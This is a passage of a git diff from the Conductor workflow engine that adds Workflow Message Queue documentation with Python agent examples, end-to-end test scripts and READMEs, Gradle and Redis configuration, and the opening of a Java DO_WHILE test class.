InMemory DAO (default fallback) | +| `RedisWorkflowMessageQueueConfiguration` | `redis-persistence` | Spring `@Configuration` that wires up the Redis DAO when Redis is active | +| `WorkflowMessageQueueResource` | `rest` | REST controller for the push endpoint | diff --git a/docs/wmq/workflow-message-queue.md b/docs/wmq/workflow-message-queue.md new file mode 100644 index 0000000..87a34ad --- /dev/null +++ b/docs/wmq/workflow-message-queue.md @@ -0,0 +1,175 @@ +# Workflow Message Queue (WMQ) + +**tl;dr** — every workflow now has a queue. You can use this queue to turn your workflow into an event loop: it sits idle, waiting for messages, processes each one, then goes back to waiting. + +## How it works + +WMQ adds a persistent message queue to every running Conductor workflow. While the workflow is active you can push messages to it from anywhere — another service, a Kafka consumer, a webhook handler, a human — and the workflow will pick them up and act on them. + +Two pieces make this work: + +1. **`POST /api/workflow/{workflowId}/messages`** — an HTTP endpoint exposed by Conductor that accepts a JSON payload and enqueues it on the workflow's queue. +2. **`PULL_WORKFLOW_MESSAGES`** — a new Conductor system task that blocks until messages arrive, then completes with `output.messages` containing the batch. + +## Prerequisites + +WMQ requires changes that are currently in review: + +| Component | PR | +|---|---| +| Conductor OSS | https://github.com/conductor-oss/conductor/pull/917 | +| Python SDK (`conductor-python`) | https://github.com/conductor-oss/python-sdk/pull/389 | + +## Using WMQ + +Add a `PULL_WORKFLOW_MESSAGES` task to your workflow definition: + +```json +{ + "name": "wait_for_message", + "taskReferenceName": "wait_for_message_ref", + "type": "PULL_WORKFLOW_MESSAGES", + "inputParameters": { + "batchSize": 1 + } +} +``` + +Then push to it: + +```bash +curl -X POST http://localhost:8080/api/workflow/{workflowId}/messages \ + -H "Content-Type: application/json" \ + -d '{"text": "hello"}' +``` + +The task completes with: + +```json +{ + "messages": [ + { + "id": "3f2504e0-4f89-11d3-9a0c-0305e82c3301", + "workflowId": "8e2c14e1-...", + "payload": { "text": "hello" }, + "receivedAt": "2025-06-15T10:30:00Z" + } + ], + "count": 1 +} +``` + +Your workflow accesses the user data via `output.messages[0].payload`. The `id` and `receivedAt` fields are added by Conductor at ingestion time. + +**Push errors:** +- `409 Conflict` — workflow is not in `RUNNING` state (completed, failed, terminated, etc.). The message is not stored. +- `500` — queue is full (`maxQueueSize` reached). Caller must back off and retry. + +### Event loop pattern + +For workflows that process an unbounded stream of messages, wrap the task in a `DO_WHILE`: + +```json +{ + "name": "message_loop", + "taskReferenceName": "message_loop_ref", + "type": "DO_WHILE", + "loopCondition": "$.message_loop_ref['iteration'] < 100", + "loopOver": [ + { + "name": "pull_message", + "taskReferenceName": "pull_message_ref", + "type": "PULL_WORKFLOW_MESSAGES", + "inputParameters": { "batchSize": 1 } + }, + { + "name": "process_message", + "taskReferenceName": "process_message_ref", + "type": "INLINE", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "function e() { return { payload: $.messages[0].payload }; } e();", + "messages": "${pull_message_ref.output.messages}" + } + } + ] +} +``` + +The loop parks on `PULL_WORKFLOW_MESSAGES` until the next message arrives. + +## Using WMQ with Agentspan + +Agentspan wraps WMQ behind `wait_for_message_tool` and `runtime.send_message()`. See https://github.com/agentspan/agentspan/pull/23. + +### Define a message-waiting tool + +```python +from agentspan.agents import Agent, wait_for_message_tool + +inbox = wait_for_message_tool( + name="wait_for_message", + description="Wait for the next incoming message.", +) + +agent = Agent( + name="my-agent", + model="openai/gpt-4o", + tools=[inbox], + system_prompt="You are a message processing agent. Wait for messages and process them one by one.", +) +``` + +When the agent calls this tool the runtime emits a `WAITING` event, the workflow parks on a `PULL_WORKFLOW_MESSAGES` task, and nothing runs until a message arrives. + +### Send a message to the running agent + +```python +with AgentRuntime() as runtime: + handle = runtime.start(agent, "Start processing messages.") + + # from anywhere, at any time: + runtime.send_message(handle.workflow_id, {"text": "hello"}) +``` + +`send_message` POSTs the payload to `/api/workflow/{workflowId}/messages`. The workflow unblocks, the agent sees the message as a tool result, and the loop continues. + +### Kafka bridge example + +The pattern also works as a bridge from external event streams. + +Run the agent (it runs as a workflow in Conductor), then send messages from a Kafka consumer: + +```python +with AgentRuntime() as runtime: + handle = runtime.start(agent, "Start consuming messages from Kafka.") + + consumer = Consumer({...}) + consumer.subscribe([KAFKA_TOPIC]) + + while True: + msg = consumer.poll(timeout=1.0) + if msg: + runtime.send_message(handle.workflow_id, { + "topic": msg.topic(), + "value": msg.value().decode("utf-8"), + }) +``` + +Full examples: [`72_wait_for_message.py`](../sdk/python/examples/72_wait_for_message.py), [`73_wait_for_message_streaming.py`](../sdk/python/examples/73_wait_for_message_streaming.py), [`74_kafka_consumer_agent.py`](../sdk/python/examples/74_kafka_consumer_agent.py). + +## Configuration + +```properties +conductor.workflow-message-queue.enabled=true +conductor.workflow-message-queue.maxQueueSize=1000 +conductor.workflow-message-queue.ttlSeconds=86400 +conductor.workflow-message-queue.maxBatchSize=100 +``` + +| Property | Default | Description | +|---|---|---| +| `enabled` | `false` | Enable the WMQ feature | +| `maxQueueSize` | `1000` | Max messages queued per workflow | +| `ttlSeconds` | `86400` | Message TTL (24 h) | +| `maxBatchSize` | `100` | Max messages returned per `PULL_WORKFLOW_MESSAGES` poll | diff --git a/e2e/README.md b/e2e/README.md new file mode 100644 index 0000000..eee6e05 --- /dev/null +++ b/e2e/README.md @@ -0,0 +1,147 @@ +# Conductor E2E Tests + +End-to-end tests for conductor-oss covering workflow execution, task types, control flow, event handling, metadata operations, and data processing. + +## Prerequisites + +- Docker and Docker Compose +- Java 17+ +- Gradle (use the `./gradlew` wrapper at the repo root) + +## Quick Start + +The recommended way to run the full suite is via a convenience script. Each script starts the required Docker services, waits for the server to be healthy, runs all tests, then tears down. + +From the **repo root**: + +```bash +# Postgres + Elasticsearch 7 (recommended for this project) +./e2e/run_tests-postgres.sh + +# Other backends: +./e2e/run_tests.sh # Redis + Elasticsearch 7 (default) +./e2e/run_tests-es8.sh # Redis + Elasticsearch 8 +./e2e/run_tests-postgres-es7.sh # Postgres + Elasticsearch 7 (explicit) +./e2e/run_tests-redis-os2.sh # Redis + OpenSearch 2.x +./e2e/run_tests-redis-os3.sh # Redis + OpenSearch 3.x +./e2e/run_tests-mysql.sh # MySQL +``` + +The server listens on `http://localhost:8000` by default. Override with: + +```bash +SERVER_ROOT_URI=http://localhost:9090 ./e2e/run_tests-postgres.sh +``` + +## Manual Setup + +If you already have a Conductor server running, skip the scripts and run Gradle directly: + +```bash +# Using the environment variable (recommended) +RUN_E2E=true SERVER_ROOT_URI=http://localhost:6000 ./gradlew :conductor-e2e:test + +# Or using Gradle properties +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI=http://localhost:8000 +``` + +> Tests are **skipped by default** during a normal `./gradlew build` to avoid requiring a running server. The `RUN_E2E=true` env var or `-PrunE2E` flag is required to enable them. + +### Building a local server image + +If you need to test against a locally built server (e.g., after changing `core/` code): + +```bash +# 1. Build the server JAR +./gradlew :conductor-server:build -x test + +# 2. Build the Docker image +docker build -t conductor:server -f docker/server/Dockerfile . + +# 3. Start with the e2e compose file (maps port 6000 → 8080) +docker compose -f docker/docker-compose-postgres-e2e.yaml up -d + +# 4. Run tests +RUN_E2E=true SERVER_ROOT_URI=http://localhost:6000 ./gradlew :conductor-e2e:test +``` + +## Test Options + +### Run a specific test class or method + +```bash +RUN_E2E=true SERVER_ROOT_URI=http://localhost:6000 \ + ./gradlew :conductor-e2e:test --tests "io.conductor.e2e.control.SubWorkflowTests" + +# Single method +RUN_E2E=true SERVER_ROOT_URI=http://localhost:6000 \ + ./gradlew :conductor-e2e:test --tests "io.conductor.e2e.control.DoWhileTests.testDoWhileSetVariableFix" +``` + +### Exclude a test class + +```bash +./gradlew :conductor-e2e:test -PrunE2E -PexcludeTests="**/HTTPTaskTests*" + +# Multiple patterns (comma-separated) +./gradlew :conductor-e2e:test -PrunE2E -PexcludeTests="**/HTTPTaskTests*,**/GraaljsTests*" +``` + +### Parallelism + +Tests run with `maxParallelForks = 4` by default. Reduce if the server is under-resourced: + +```bash +./gradlew :conductor-e2e:test -PrunE2E --max-workers=1 +``` + +## Test Suite Overview + +| Package | What it covers | +|---------|----------------| +| `control` | DO_WHILE, SWITCH, SUB_WORKFLOW, DYNAMIC_FORK | +| `task` | WAIT, HTTP, concurrency limit, task timeout, backoff | +| `workflow` | Retry, restart, rerun, search, priority, failure workflows | +| `processing` | GraalJS inline tasks, SET_VARIABLE, JSON_JQ | +| `event` | Event handlers | +| `metadata` | Workflow/task definition CRUD, event handler registration | + +## Disabled Tests + +17 tests are `@Disabled` due to conductor-oss behavioural differences or infrastructure constraints. All other skips during `./gradlew build` (without `RUN_E2E=true`) are simply the suite waiting for a server — those tests are not broken. + +### Rerun behaviour (conductor-oss does not support rerun from non-terminal or complex task states) + +| Class | Method | Reason | +|-------|--------|--------| +| `WorkflowRerunTests` | `testRerunFromWaitTask` | Rerunning a RUNNING workflow is not allowed; conductor-oss requires a terminal state first | +| `WorkflowRerunTests` | `testRerunForkJoinWorkflow` | Rerun from a completed fork-branch task does not re-schedule sibling branches | +| `WorkflowRerunTests` | `testRerunForkJoinWorkflowWithLoopTask` | Rerun from a DO_WHILE task inside a fork terminates the workflow instead of resuming | +| `WorkflowRerunTests` | `testRerunForkJoinWorkflowWithLoopTask2` | Rerun from a DO_WHILE task inside a fork terminates the workflow instead of resuming | +| `WorkflowRerunTests` | `testRerunForkJoinWorkflowWithLoopOverTask` | Rerun from a DO_WHILE iteration task inside a fork terminates the workflow instead of resuming | +| `WorkflowRerunTests` | `testRerunSubWorkflowInsideFork` | Rerun from a SUB_WORKFLOW task inside a fork terminates the workflow instead of resuming | +| `WorkflowRerunTests` | `testRerunSubWorkflowInsideFork_SequentialBranch` | Rerun from a SUB_WORKFLOW task inside a fork terminates the workflow instead of resuming | +| `WorkflowRerunTests` | `testDoWhileRerun` | DO_WHILE task rerun leaves the workflow TERMINATED; sync task status is not reset to SCHEDULED | +| `WorkflowRerunTests` | `testSwitchTaskRerun` | SWITCH task rerun leaves the workflow TERMINATED; sync task status is not reset to SCHEDULED | +| `WorkflowRerunTests` | `testRerunForkJoinWithWaitAndSwitchTasks` | Rerun from fork-join with WAIT/SWITCH tasks terminates the workflow instead of resuming | +| `WorkflowRerunTests` | `switchRerunIssue` | SWITCH task rerun leaves the workflow TERMINATED; sync task status is not reset to SCHEDULED | +| `WorkflowRerunTests` | `switchRerunIssue2` | SWITCH inside DO_WHILE rerun leaves the workflow TERMINATED | + +### Infrastructure / external dependencies + +| Class | Method | Reason | +|-------|--------|--------| +| `HTTPTaskTests` | `HTTPAsyncCompleteTest` | Requires `httpbin-server` internal service (`http://httpbin-server:8081`) not in the conductor-oss e2e docker setup | +| `SyncWorkflowExecutionTest` | `testSyncWorkflowExecution6` | Depends on external HTTP services (`orkes-api-tester.orkesconductor.com`) not reliably accessible from conductor-oss e2e | +| `PollTimeoutTests` | `testPollTimeout` | Postgres-backed queue does not drain tasks from terminated workflows within the required window; cleanup timing is non-deterministic | + +### SDK / test isolation + +| Class | Method | Reason | +|-------|--------|--------| +| `JavaSDKTests` | `testSDK` | Shared `AnnotatedWorkerExecutor` thread pool is shut down by `SwitchTests.@AfterAll` when tests run in the same JVM; subsequent worker tasks are rejected | +| `SwitchTests` | `testSwitchNegetive` | SDK-based `executeDynamic` with a switch default case does not complete within the timeout in conductor-oss | + +### Postgres-specific timing + +The postgres-backed WAIT task sweeper adds roughly **10 seconds of overhead** on top of the configured wait duration. Several tests account for this with extended timeouts (e.g., a "2 second" WAIT task may take up to 15 seconds end-to-end). If tests are flaky on slower machines, check whether a timeout needs to be increased further. diff --git a/e2e/build.gradle b/e2e/build.gradle new file mode 100644 index 0000000..5808e5a --- /dev/null +++ b/e2e/build.gradle @@ -0,0 +1,47 @@ +plugins { + id 'java' +} + +dependencies { + testImplementation 'org.conductoross:conductor-client:5.0.1' + testImplementation 'org.conductoross:java-sdk:5.0.1' + testImplementation 'org.junit.jupiter:junit-jupiter-api' + testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine' + testImplementation 'org.junit.jupiter:junit-jupiter-params' + testImplementation 'org.awaitility:awaitility:4.2.0' + testImplementation 'org.apache.logging.log4j:log4j-slf4j2-impl' + testImplementation 'org.projectlombok:lombok:1.18.30' + testAnnotationProcessor 'org.projectlombok:lombok:1.18.30' + testImplementation 'org.apache.commons:commons-lang3:3.14.0' + testImplementation 'org.apache.commons:commons-compress:1.26.1' + testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' +} + +test { + useJUnitPlatform() + maxParallelForks = 4 + minHeapSize = '512m' + maxHeapSize = '2g' + testLogging { + events = ['SKIPPED', 'FAILED'] + exceptionFormat = 'short' + showStandardStreams = true + } + // Forward SERVER_ROOT_URI if explicitly set via -D + if (System.getProperty('SERVER_ROOT_URI')) { + systemProperty 'SERVER_ROOT_URI', System.getProperty('SERVER_ROOT_URI') + } + + // Skip during normal ./gradlew build + // Enable with: RUN_E2E=true ./gradlew :e2e:test + // or: ./gradlew :e2e:test -PrunE2E + onlyIf { System.getenv('RUN_E2E') == 'true' || project.hasProperty('runE2E') } + + // Support excluding specific tests: + // ./gradlew :e2e:test -PrunE2E -PexcludeTests="**/HTTPTaskTests*" + if (project.hasProperty('excludeTests')) { + project.property('excludeTests').toString().split(',').each { pattern -> + exclude pattern.trim() + } + } +} diff --git a/e2e/docker/config/config-redis.properties b/e2e/docker/config/config-redis.properties new file mode 100644 index 0000000..d59230d --- /dev/null +++ b/e2e/docker/config/config-redis.properties @@ -0,0 +1,42 @@ +# Conductor Configuration for E2E Tests + +loadSample=false +# Database Configuration +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +# Redis Configuration +conductor.redis.hosts=redis:6379:us-east-1c +conductor.redis-lock.serverAddress=redis://redis:6379 +conductor.redis.taskDefCacheRefreshInterval=1 +conductor.redis.workflowNamespacePrefix=conductor +conductor.redis.queueNamespacePrefix=conductor_queues +conductor.redis.availabilityZone=us-east-1c + +# Workflow Execution Lock +conductor.workflow-execution-lock.type=redis +conductor.app.workflowExecutionLockEnabled=true +conductor.app.lockTimeToTry=500 + +# Elasticsearch Configuration +conductor.indexing.enabled=true +conductor.elasticsearch.url=http://elasticsearch:9200 +conductor.elasticsearch.indexName=conductor +conductor.elasticsearch.version=7 +conductor.elasticsearch.clusterHealthColor=yellow + +# System Task Workers +conductor.app.systemTaskWorkerThreadCount=10 +conductor.app.systemTaskMaxPollCount=10 +conductor.system-task-workers.enabled=true + +# HTTP Task +conductor.system-task-worker.http.enabled=true + +# Redis health indicator +management.health.redis.enabled=true + +# Metrics (optional) +conductor.metrics-prometheus.enabled=false +management.endpoints.web.exposure.include=health +conductor.indexing.type=elasticsearch \ No newline at end of file diff --git a/e2e/run_tests-cassandra-es7.sh b/e2e/run_tests-cassandra-es7.sh new file mode 100755 index 0000000..509a518 --- /dev/null +++ b/e2e/run_tests-cassandra-es7.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-cassandra-es7.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Cassandra + Elasticsearch 7)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests-es8.sh b/e2e/run_tests-es8.sh new file mode 100755 index 0000000..fc0c4ac --- /dev/null +++ b/e2e/run_tests-es8.sh @@ -0,0 +1,44 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-es8.yaml" +STORAGE_DIR="/tmp/conductor-file-storage-e2e" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +cleanup() { + docker compose -f "$COMPOSE_FILE" down -v || true +} + +# Register cleanup before compose operations so partial startup, health failures, +# interrupted runs, and test failures all remove containers and volumes. +trap cleanup EXIT + +echo "Preparing shared storage dir at $STORAGE_DIR ..." +rm -rf "$STORAGE_DIR" +mkdir -p "$STORAGE_DIR" + +echo "Starting Conductor (Redis + Elasticsearch 8)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +set +e +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? +exit $EXIT_CODE diff --git a/e2e/run_tests-mysql.sh b/e2e/run_tests-mysql.sh new file mode 100755 index 0000000..2db4209 --- /dev/null +++ b/e2e/run_tests-mysql.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-mysql.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (MySQL)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests-postgres-es7.sh b/e2e/run_tests-postgres-es7.sh new file mode 100755 index 0000000..7632196 --- /dev/null +++ b/e2e/run_tests-postgres-es7.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-postgres-es7.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Postgres + Elasticsearch 7 (explicit))..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests-postgres.sh b/e2e/run_tests-postgres.sh new file mode 100755 index 0000000..141b64d --- /dev/null +++ b/e2e/run_tests-postgres.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-postgres.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Postgres + Elasticsearch 7)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests-redis-es7.sh b/e2e/run_tests-redis-es7.sh new file mode 100755 index 0000000..2a4a0b9 --- /dev/null +++ b/e2e/run_tests-redis-es7.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Redis + Elasticsearch 7)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests-redis-os2.sh b/e2e/run_tests-redis-os2.sh new file mode 100755 index 0000000..a4a4873 --- /dev/null +++ b/e2e/run_tests-redis-os2.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-redis-os2.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Redis + OpenSearch 2.x)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests-redis-os3.sh b/e2e/run_tests-redis-os3.sh new file mode 100755 index 0000000..1dd9c6e --- /dev/null +++ b/e2e/run_tests-redis-os3.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose-redis-os3.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Redis + OpenSearch 3.x)..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/run_tests.sh b/e2e/run_tests.sh new file mode 100755 index 0000000..2f5fed1 --- /dev/null +++ b/e2e/run_tests.sh @@ -0,0 +1,33 @@ +#!/bin/bash +set -e + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +COMPOSE_FILE="$SCRIPT_DIR/../docker/docker-compose.yaml" +export SERVER_ROOT_URI="${SERVER_ROOT_URI:-http://localhost:8000}" + +echo "Starting Conductor (Redis + Elasticsearch 7 (default))..." +docker compose -f "$COMPOSE_FILE" build conductor-server +docker compose -f "$COMPOSE_FILE" up -d + +echo "Waiting for Conductor server at $SERVER_ROOT_URI/health ..." +for i in $(seq 1 60); do + if curl -sf "$SERVER_ROOT_URI/health" > /dev/null 2>&1; then + echo "Conductor is up after ${i} attempt(s)!" + break + fi + if [ "$i" -eq 60 ]; then + echo "ERROR: Conductor did not start in time" + docker compose -f "$COMPOSE_FILE" logs conductor-server 2>/dev/null || docker compose -f "$COMPOSE_FILE" logs + docker compose -f "$COMPOSE_FILE" down -v + exit 1 + fi + echo " Attempt $i/60 — waiting 5s..." + sleep 5 +done + +cd "$SCRIPT_DIR/.." +./gradlew :conductor-e2e:test -PrunE2E -DSERVER_ROOT_URI="$SERVER_ROOT_URI" "$@" +EXIT_CODE=$? + +docker compose -f "$COMPOSE_FILE" down -v +exit $EXIT_CODE diff --git a/e2e/src/test/java/io/conductor/e2e/control/DoWhileEdgeCasesTests.java b/e2e/src/test/java/io/conductor/e2e/control/DoWhileEdgeCasesTests.java new file mode 100644 index 0000000..888098c --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/DoWhileEdgeCasesTests.java @@ -0,0 +1,271 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +@Slf4j +public class DoWhileEdgeCasesTests { + + private static final List workflowIdsToTerminate = new ArrayList<>(); + private static 